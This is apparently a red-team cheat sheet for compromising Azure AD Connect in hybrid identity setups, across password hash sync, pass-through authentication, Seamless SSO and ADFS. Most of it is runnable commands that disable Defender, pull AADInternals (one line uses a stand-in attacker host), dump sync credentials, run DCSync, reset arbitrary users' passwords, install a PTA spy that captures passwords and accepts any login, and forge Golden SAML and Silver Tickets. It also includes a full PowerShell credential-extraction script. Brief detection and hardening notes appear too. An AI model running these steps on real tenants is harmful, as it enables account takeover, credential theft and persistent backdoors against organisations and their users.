Resources
AADSync - Defende, Detect Research
https://github.com/Cloud-Architekt/AzureAD-Attack-Defense/blob/main/AADCSyncServiceAccount.md
Escalate from Local Admin
https://aadinternals.com/post/on-prem_admin/
AADInternals Docs
https://aadinternals.com/aadinternals/
Dump ADConnect
https://github.com/fox-it/adconnectdump
In-depth look at ADConnect under the Hood
https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/
In-Depth - Azure AD Connect for Red Teamers and Shooting Up
https://blog.xpnsec.com/azuread-connect-for-redteam/ https://imphash.medium.com/shooting-up-on-prem-to-cloud-detecting-aadconnect-creds-dump-422b21128729
In-depth - HybridIdentity Administrator / Service account - Attack and Detection
https://github.com/Cloud-Architekt/AzureAD-Attack-Defense/blob/main/AADCSyncServiceAccount.md https://github.com/Cloud-Architekt/AzureAD-Attack-Defense/blob/main/AADCSyncServiceAccount.md#suspicious-activities-from-azure-ad-connector-account
Exploiting Azure AD PTA vulns
https://aadinternals.com/post/pta/
Azure Red Team lab
https://improsec.com/tech-blog/read2own
PTA Dumping
https://imphash.medium.com/shooting-up-on-prem-to-cloud-detecting-aadconnect-creds-dump-422b21128729
Overview
Methodology for attacking AD Connect servers in Hybrid AD environments.
PHS:
- Syncs Users/Hash from On-Prem to AzureAD, simplest and most popular way of doing hybrid
- PHS is required for IDentity Protection and AAD Domain services
- Hash sync every 2 minutes
- When a user tries access Azure resources, auth takes place ON AzureAD
- Built-in Security Groups (DOmain admins) do not sync
- By default password expiry and account expiry are NOT reflected in AzureAD, ifan account expires (not forced password change) on-prem the user can continue accessing Cloud resources using the old password.
-
Configuration:
- MSOL_
account created in On-Prem AD. This account has replication (DCSync) permissions in the on-prem AD. - Sync_
_ . This account can reset the password of ANY user Cloud or AD Synced. Both accounts passwords are stored in a SQL server on the ADConnect server and it’s possible to extract in clear-text if you have admin privileges on the server. Check if a server is running ADConnect:
Get-ADSyncConnector - MSOL_
-
Detect:
- DCsync attacks will light MDI up like a christmas tree, but most environments white-list this account since it will generate such a high volume of alerts from the start, as its sole purpose is to perform DCsyncs.
- Compromising local admin of the server and abusing that account for Sync operations will look no different than what it does every two minutes.
-
Lateral Movement Cloud to On-Prem: Once you have local admin rights on the server, disable monitoring and bring AADinternals over to decrypt plain-text sync credentials.
Set-MpPreference -DisableRealtimeMonitoring $true iwr $url -o aadint.zip; Expand-Archive .\aadint.zip Import-Module .\AADInternals.psd1 Get-AADIntSyncCredentials-
These credentials can be used to run a DCSync attack against the AD Environment.
-
Dont touch LSASS - From your own host could do something like ‘Invoke-Mimikatz -Cmmand ‘“lsadump::dcsync /user:domain1\krbtgt /domain:domain1.local /dc:dc.domain1.local”’ to get the krbtgt hash
-
Now you can enumerate Global Admins, reset the password of a synced on-prem user using the the ImmutableID (unique GUID derived from On-Prem GUID).
Get-AADIntGlobalAdmins $email = "" $Id = Get-AADIntUser -UserPrincipalName $email | select ImmutableId Set-AADIntUserPassword -SourceAnchor $Id -Password "Inconceivable2Obscured" -Verbose # Access Cloud resources with new password, on-Prem resources with the old password -
-
Lateral Movement On-Prem to Cloud:
- Resetting Cloud-Only user requires the CloudAnchor we can get from their cloud ObjectId.
- CloudAnchor format is “USER_ObjectId”
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectId $objId = "" Set-AADIntUserPassword -CloudAnchor "User_$ObjId" -Password "Inconceivable2Obscured" -Verbose # Can now access any portals with that PW
PTA:
- No passhash sync takes place but identity sync still takes place
- Useful for enforcing on-prem password policies as Authetnication is validated On-Prem.
- Comms to cloud via Agent not the DC
- Only outbound 80,443 from auth agent to AzureAD
- User tries to access, is redirected to AzureAD sign in, enters credentials, encrypted creds go into a Queue in AzureAD, the PTA agent reads from the queue, requests validation from on prem AD, Agent responds to Azured, AzureAD responds to user and the user gets access
-
Abuse Points:
- Decryption Step - Agent Decrypts password using its private Key - If we compromise the agent we can get the cleartext password here.
- Return Validation Step - Agent returns validation response to AzureAD, we can set this as valid regardless of whether AD validated, ti will take our word for it
On-Prem SkeletonKey - AzureAD trusts the agent wholesale, if we get in the middle and become the PTA Agent, we can look at the failed validation request and tell AzureAD “We’re good, go ahead” regardless of whether the password is valid or not. We can become any synced user regardless of whether we have their password or not. Just need a valid UPN. AzureAD SkeletonKey - If we compromise a Global Admin, we can install our OWN PTA agent in our own infrastructure and authorize all login attempts (like a Rogue DC)
-
Recommended Setup:
- Do not use Intune to manage them so their is no cloud access to these machines. Place them in TierZero where they are protected from access by anything but other servers and OOB management network.
- Restrict Access to these servers to specific domain accounts
-
Lateral Movement On-Prem to Cloud (Local/Domain Admin):
- Once you have local admin rights on the server, disable monitoring and bring AADinternals over, etc
- Once the backdoor is installed, we can auth as any synced user without knowing their password
- It’s possible to also observe the cleartext password as on-prem users are authenticating to the cloud.
- The Injection DLL is getting flagged now, may be worth obfuscating and keeping our own version of the DLL
- Passwords and Injection DLL are stored in a hidden C:\PTASpy directory
Set-MpPreference -DisableRealtimeMonitoring $true iwr $url -o aadint.zip; Expand-Archive .\aadint.zip Import-Module .\AADInternals.psd1 Install-AADIntPTASpy Get-AADIntPTASpyLog -DecodePasswords -
Lateral Movement On-Prem to Cloud (Global Admin): We can register our own PTA Agent after getting GA privileges by setting it up on a machine we control. Once it’s setup, we backdoor our own PTA Agent and decode the passwords
Set-MpPreference -DisableRealtimeMonitoring $true iwr $url -o aadint.zip; Expand-Archive .\aadint.zip Import-Module .\AADInternals.psd1 Install-AADIntPTASpy Get-AADIntPTASpyLog -DecodePasswords
Seamless SSO:
- Automagically signs in users when they are on on-prem domain-joined machine. No need to use passwords to log into AzureAD and on-prem apps
- PHS and PTA supported
- AZUREADSSOACC is the on-prem account created. It’s Kerberos decryption key is shared with AzureAD
- AzureAD exposes https://autologon.microsoftazuread-sso.com that accepts kerberos tickets.
- The domain-joined machines browser forwards tickets to this endpoint for SSO, the endpoint has the azureadsso decryption key to decrypt
- Service decrypts the kerberos ticket and verifies access
-
Persistence from any Interent Connected Machine:
- Pass/key of this AZUREADSSOACC account never change
- If we can get an NTLM hash of he MACHINE account for that account, we can create Silver Tickets for any synced on-prem user
- Our DCSync attacks earlier should have rendered us this accounts hash
- Create a Silver Ticket using UPN and SID that can be used from anywhere that can access the SSO endpoint
$domain = "" $sid = "" $id = "" $hash = "" Invoke-Mimikatz -c "kerberos::golden /user: /sid:$sid /id:$id /domain:$domain /rc4:<$hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"
Federation:
- Trust established between two unrelated parties lik one-prem and AzureAd
- All authetnication happens on-prem in Federation, all of it
- User experiences SSO across all the federated environments
- Including cloud and on-prem
-
Overview
- user requests access, the service provider find the IDP for that user, generates SAML AuthNRequest
- User redirected to their IDP with the SAML request, the IDP authenticates user and generates SAML Token and SAML Response
- SAML response sent to service provider as the user is redirected to the SP who verifies the SAML Responses signature and encryption source as a Trusted Idp
- Service is provided and the user logs in
-
ADFS
- Claims based model
- Claims are statements name,group, etc made about users to access claims-based apps located anywhere online
- Claims written inside the SAML Tokens and signed to provide integrity by the IdP
- User is IDed across these by ImmutableID, globablly unique and stored in AzureAD
- Stored On Prem as ms-DS-ConsistencyGuid for the user and can be dervied from GUID of the user
-
Abuse (Domain Admin):
- SAML Response signed by TOken-Signing Certificate
- If the certificate is compromised you can authenticate to azuread as any azuread user
- Like PTA, password change for a user with MFA won’t have any effect because we are forging the authentication response
- Certificate can be extracted from ADFS server with DA privs and then abused from any interent connected device\
- This is Golden SAML
-
Lateral Movement On-Prem to Cloud:
- On-Prem - Extract the signing certificate as DA, select immutableID of an On-Prem user
$email = "" $ID = Get-AAdIntUser -UserPrincipalName $email | Select-Object -Property immutableId Export-AADIntADFSSigningCertificate Open-AADIntOffice365Portal -ImmutableID $ID -Issuer https://domain1.com/adfs/services/trust -PfxFileName cert.pfx -Verbose- Cloud-Only - Cloud-Only requires us to create Immutable first use any users with immutableID to access cloud apps
# create realistic ImmutableID and set it for Cloud-Only user $email = "" $sourceAnchor = Get-AAdIntUser -UserPrincipalName $email | Select-Object -Property sourceAnchor $guid = [System.Convert]::ToBase64String((New-Guid).tobytearray()) $guid = "User_$guid" Set-AADIntAzureADObject -CloudAnchor $guid -SourceAnchor $sourceAnchor Export-AADIntADFSSigningCertificate $ID = "$guid" # ImmutableID of user Open-AADIntOffice365Portal -ImmutableID $ID -Issuer https://domain1.com/adfs/services/trust -PfxFileName cert.pfx -Verbose -
Persistence (Global Admin and Domain Admin) - SolarWinds Style
- If we have GA on a tenant, we can adda new verified domain form our tenant and configure its authentication type to Federed and trust aspecific certfificate “any.sts” in the command and issuer.
ConvertTo-AAdIntBackdoor -DomainName $domain $domain = "AttackerControlled.com" # Impersonate a User via ImmutableId # Get-MSOLUser | select userPrincipalName,ImmutableID $email = "" $ID = Get-AAdIntUser -UserPrincipalName $email | Select-Object -Property immutableId # a real verified AzureAD domain Open-AADIntOffice365Portal -ImmutableID $ID -Issuer https://$domain/b231111" -UseBuiltInCertificate -ByPassMFA $true- Create and Import new certificates on ADFS Server
New-AADIntADFSSelfSignedCertificates # default cert password AADInternals Update-AADIntADFSFederationSettings -Domain $domain
Commands
Prep - Get AADInternals
Install-Module AADInternals
Import-Module AADInternals
Prep - Get RSAT Tools
Enable-WindowsOptionalFeature -Online -FeatureName RSAT-AD-PowerShell
Prep - Get ADConnectDump
iwr https://github.com/fox-it/adconnectdump/archive/refs/heads/master.zip -o
adconnectdump.zip; Expand-Archive .\adconnectdump.zip
Enumeration - Finding ADConnect Account
Get-AADIntAccessTokenForAADIAMAPI -SaveToCache
Get-AADIntAADConnectStatus
Enumeration - Check Properties of MSOL_* user and ADSync to find Server
# From AD
Get-AdUser -Filter * -Properties * | Where {$_.DisplayName -like 'MSOL*'}
Get-AdUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName, Description | fl
Get-AdUser -Filter * -Properties * | Where {$_.DisplayName -like 'ADSync*'}
# From Azure
Get-AzureADuser -All $true | ?{$_.userPrincipalName -match "Sync_"}
Scenario 1 - PassThroughAuthentication - AD to AzAD Escalation
Requirements:
Local Admin rights on the server running the ADConnect agent OR M365 Global Admin creds
AADInternals - AADIntPTASpy - MITM the PtA traffic from the agent
Summary: Every logon against AzAd on domain gets redirected to PTA agent on-prem. PTA checks with DC if password is valid for an account. If valid, Agent reaches out to AzureAD TO REQUEST ACCESS.
AADInternals - Bring over Tools
$url = "https://github.com/Gerenios/AADInternals/archive/refs/heads/master.zip"
# $url = "https://attacker.legit.com:8000/AADInternals-master.zip"
AADInternals - Install
Set-MpPreference -DisableRealtimeMonitoring $true
iwr $url -o aadint.zip; Expand-Archive .\aadint.zip
Import-Module .\AADInternals.psd1
AADInternals - Start MITM of PTA
Install-AADIntPTASPY
AADInternals - Check decoded passwords left in C:\PTASpy\PTASpy.csv
Get-AADIntPTASpylog -DecodePasswords
AADInternals - Clean up CSV
Remove-Item -r -force C:\PTASpy
AADInternals - Remove PTASpy
Remove-AADIntPTASpy
AADInternals - Log in as any user
Every PTA attempt against Azure AD will be intercepted by the installed AADIntPTASpy module. The module will record the user’s password attempt and reply back to Azure AD on behalf of the PTA Agent. This reply advises Azure AD the password attempt was valid and grants the user access to the cloud, even if the password is incorrect. If an attacker has implanted AADIntPTASpy, they can log in as any user that attempts to authenticate using PTA—and will be granted access.
AADInternals - Perpetual Harvest as Glocal Cloud Admin
If you have global admin, we can install the PTA agent on one of our own servers and register it as PTA Agent in the portal and continue receive logins
Scenario 2 - PasswordHashSync - AD to AzAd Escalation
AADInternals - Decrypt DPAPI master keys and Sync Creds
Get-AADIntSyncCredentials
AADInternals - Modifying Users- Save the displayed credentials to a variable
$creds = Get-Credential
AADInternals - Get Tokena and Save to Cache
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
AADInternals - Get Users
Get-AADIntUsers | Select UserPrincipalName,ImmutableId,ObjectId | Sort UserPrincipalName
AADInternals - Users with immutable IDs are hybrid users and can be modified if we know their SourceAnchor
Set-AADIntAzureADObject -SourceAnchor "UQ989+t6fEq9/0ogYtt1pA==" -displayName "I've been hacked!"
AADInternals - Change a users password, change date to anything we want, no password policy enforced here
Set-AADIntUserPassword -SourceAnchor "UQ989+t6fEq9/0ogYtt1pA==" -Password "NewPwd" -ChangeDate (Get-Date).AddYears(-1)
AADInternals - If result 0, we’re successful. Then list GAs
Get-AADIntGlobalAdmins
AADInternals - If Global Admin is a hybrid user with a SourceAnchor we can change the password the same way
We can also change cloud admins by speciifying CloudAnchor
Set-AADIntUserPassword -CloudAnchor "User_7b0ad665-a751-73d7-bb9a-7b8b1e6b1c59" -Password "NewPwd" -ChangeDate (Get-Date).AddYears(-1)
Note - PHS
Password reset works only if the Password Hash Synchronisation (PHS) is enabled. Luckily, AAD Connect service account can turn it on. The following command just sets the PHS switch in Azure AD, it doesn’t start the actual PHS sync.
Enable PHS
Set-AADIntPasswordHashSyncEnabled -Enabled $true
Scenario 3 - ADConnectDump.py - Remote Dump over Network
Requirements: From Windows, Python2.7 Impacket,
adconnectdump.py, ADSyncQuery.exe
Python2 - Install Python2.7
cinst -y python2
C:\Python27\python.exe -m pip install impacket pycryptodomex
ADConnectDump - Download tool
git clone https://github.com/fox-it/adconnectdump
cd adconnectdump
ADConnectDump - Get MSSQL localDb for Dump
Invoke-WebRequest -Uri https://go.microsoft.com/fwlink/?LinkID=866658 -OutFile SqlLocalDB.msi
Start-Process -FilePath msiexec.exe -ArgumentList '/i', 'SqlLocalDB.msi', '/qn' -Wait
Remove-Item -Path SqlLocalDB.msi
ADConnectDump - Dump Creds with secretsdump style syntax
$ServerName = "192.168.0.238"
$password = "Password"
$username = "administrator"
$domain = "Shrine"
C:\Python27\python.exe .\adconnectdump.py -dc-ip $ServerName -target-ip $ServerName Administrator@$ServerName
ADConnectDump.py - Python/.Net - Remote or Local Extraction
https://github.com/dirkjanm/adconnectdump
If DLLs are in Path and you have local access, you can try this from non admin
ADSyncDecrypt.exe
If you have admin, and want to gather and decrypt later
ADSyncGather.exe
decrypt.py .\output.txt utf-16-le
Remotely from Windows, requires impacket and pycryptodomex
C:\Python27\python.exe adconnectdump.py [domain/]username[:password]@192.168.10.1
ADConnect ps1 PoC - Powershell - Local Extraction from ADConnect Host
https://blog.xpnsec.com/azuread-connect-for-redteam/
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
Notes
You should call adconnectdump.py from Windows. It will dump the Azure AD connect credentials over the network similar to secretsdump.py (you also will need to have impacket and pycryptodomex installed to run this). ADSyncQuery.exe should be in the same directory as it will be used to parse the database that is downloaded (this requires MSSQL LocalDB installed on your host).
Alternatively you can run the tool on any OS, wait for it to download the DB and error out, then copy the mdf and ldf files to your Windows machine with MSSQL, run ADSyncQuery.exe c:\absolute\path\to\ADSync.mdf > out.txt and use this out.txt on your the system which can reach the Azure AD connect host with —existing-db and —from-file out.txt to do the rest.